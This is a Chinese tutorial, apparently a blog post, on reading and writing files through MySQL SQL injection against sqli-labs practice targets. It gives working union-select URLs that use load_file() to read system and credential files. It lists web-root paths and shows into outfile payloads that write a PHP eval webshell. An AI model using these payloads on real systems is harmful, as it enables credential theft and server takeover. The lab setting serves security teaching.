SQL注入之文件读写(四)

SQL注入之文件读写(四)

文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写一句话木马,也可以读取系统文件的敏感信息

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

复制代码
secure_file_priv
代表对文件读写没有限制
secure_file_priv=NULL
代表不能进行文件读写
secure_file_priv=d:/phpstud/mysql/data
代表只能对该路径下文件进行读写

show global variables like '%secure%'; 查看mysql全局变量的配置

要有高权限

读取文件
使用函数:load_file()
后面的路径可以是单引号,0x,char转换的字符
注意:路径中斜杠是/
一般可以与union中作为一个字段使用,查看config.php即mysql的密码

select load_file('f:/exec.txt');

http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,load_file('d:/d.txt'),3
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,load_file(0x643a2f642e747874),3
643A2F642E747874
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,load_file('D:\\phpStudy\\PHPTutorial\\WWW\\sql-labs\\sql-connections\\db-creds.inc'),3
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,load_file('D:/phpStudy/PHPTutorial/WWW/sql-labs/sql-connections/db-creds.inc'),3

网站的绝对路径

复制代码
windows常见:
phpstudy phpstudy/www
         phpstudy/PHPTutorial/www
Xampp    xampp/htodcs
Wamp    wamp/www
Appser    appser/www
Linux常见:
var/mysql/data
var/www/html
路径获取常见方式:
报错显示,遗留文件,漏洞报错,平台配置文件等

写入文件

使用函数:

复制代码
into outfile 能写入多行,按格式输出
into dumpfile只能写入一行且没有输出格式

注意:

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

复制代码
?id=-1 union select 1,'heshuai',3 into outfile 'd:/1.txt' --+
将1,'heshuai',3写入1.txt中

写入木马文件

复制代码
?id=-1 union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'd:/1.php' --+

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"]);?>',3 into outfile 'd:/1.php' --+
相关推荐
Decay__2 小时前
05_MySQL 常用 SQL 大全 —— 诊断、管理、优化辅助 SQL 与三大系统库速查
运维·数据库·sql·mysql·架构
驰骋工作流5 小时前
流程时效考核的表结构:从待办时限到 WF_CH 考核结果驰骋BPM驰骋低代码低代码工作流引擎
android·低代码·rxjava
小徐不徐说6 小时前
C++ 接口与插件设计:从工厂注册到 Qt 动态插件
数据库·c++·qt·系统架构·程序设计
传奇开心果编程7 小时前
【Flutter踩坑排雷】第7课:巨型 build 函数坑|全部 UI 写在同一个 build,维护难、隐性异常
android·flutter·ios·移动开发·跨平台·dart·声明式ui
论文复现现场7 小时前
WRF、FEA 能用 L40S 加速吗?求解器检查、断点恢复与长期运行
java·数据库·算法·wrf·有限元分析·gpu计算·断点续算
Decay__8 小时前
04_MySQL DBA 日常运维手册 —— 会话管理、锁与阻塞、事务监控、慢查询与日志巡检
运维·数据库·sql·mysql·架构
心梦缘-雪雁9 小时前
SQL Server 查询数据存在哪个表里
数据库
lusklusklusk10 小时前
Python 巡检脚本:进程运行状态、数据库写入时效检查及邮件通知与告警
数据库·python·oracle
GeW10 小时前
产业新优势基础软件的人才底盘,从Linux与数据库开始
linux·数据库
方白羽10 小时前
Android 双开环境底层剖析与风控检测落地
android·安全·app